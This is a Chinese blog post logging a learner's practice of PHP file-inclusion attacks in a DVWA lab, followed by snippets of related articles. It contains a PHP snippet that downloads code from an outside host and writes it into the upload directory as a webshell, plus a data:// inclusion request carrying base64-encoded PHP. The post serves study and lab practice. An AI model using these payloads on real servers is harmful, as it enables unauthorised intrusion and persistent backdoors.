美文网首页
文件包含漏洞实践

文件包含漏洞实践

作者: 蒋冰_c169 | 来源:发表于2018-05-06 12:01 被阅读0次

参考资料:

介绍php几种协议及使用方法:https://www.cnblogs.com/iamstudy/articles/include_file.html

如何利用文件上传漏洞getshell:https://blog.csdn.net/xysoul/article/details/46689049/

介绍日志文件包含漏洞:https://www.cnblogs.com/my1e3/p/5854897.html

1、利用dvwa创建漏洞环境,允许包含URL。

2、验证存在文件包含漏洞。

3、测试远程包含文件。

4、测试写入一句话。

远程直接包含一句话,无法正常使用,需要进一步确认。

5、测试phpinput方法,成功。

解决权限问题后,就可以直接写入webshell了。

具体代码如下:

<?php

$f=file_get_contents(“http://www.xxx.cn/m4r10.txt”); //打开指定路径的文件流

$ff=fopen(“./upload/m4r10.php”,”a”); //寻找一个可以的目录,创建一个文件

fwrite ($ff,$f);  //把前面打开的文件流写到创建的文件里

fclose($ff);  //关闭保存文件

?>

6、php filter方法。

7、data方法。

GET /dvwa/vulnerabilities/fi/?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==

8、尝试包含日志文件。

www-data用户,默认没有访问日志文件的权限,未进行此次实践。

遗留问题:

1、新版的kali,上传php一句话,菜刀无法连接,原因未知(格式不兼容?)。

2、参考链接1中,其他封装协议处,zip,phar等,不理解具体用途和使用方法。

3、apache用户为www-data,没有访问/var/log的权限,如何记录日志?

相关文章

  • 文件包含漏洞实践

    参考资料: 介绍php几种协议及使用方法:https://www.cnblogs.com/iamstudy/art...

  • php安全

    文件包含漏洞** 本地文件包含**能打开并包含本地文件的漏洞,被称为本地文件包含漏洞(LFI)%00截断,php内...

  • 网络安全之文件包含漏洞总结

    介绍 文件包含漏洞属于代码注入漏洞,为了减少重复代码的编写,引入了文件包含函数,通过文件包含函数将文件包含进来,直...

  • 文件包含漏洞

    定义:在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,导致意外的文件泄...

  • 文件包含漏洞

    几乎所有的脚本语言中都会提供文件包含的功能,但文件包含漏洞在PHP Web Application中居多,在JSP...

  • 文件包含漏洞

    文件转载自https://blog.csdn.net/chence19871/article/details/51...

  • 文件包含漏洞

    文件包含漏洞 产生的原因:通过引入文件时,用户可控,没有严格的检验,或是被绕过,操作一些敏感文件,导致文件泄露和恶...

  • 文件包含漏洞

    文件包含 常见文件包含函数 利用条件 程序用include()等文件包含函数通过动态变量的范式引入需要包含的文件 ...

  • 文件包含漏洞

    当allow_url_open=on allow_url_include=on 就会造成文件包含漏洞 http:/...

  • 文件包含漏洞

    一、文件包含漏洞简介 1、包含:程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文...

网友评论

      本文标题:文件包含漏洞实践

      本文链接:https://www.haomeiwen.com/subject/ntjjlftx.html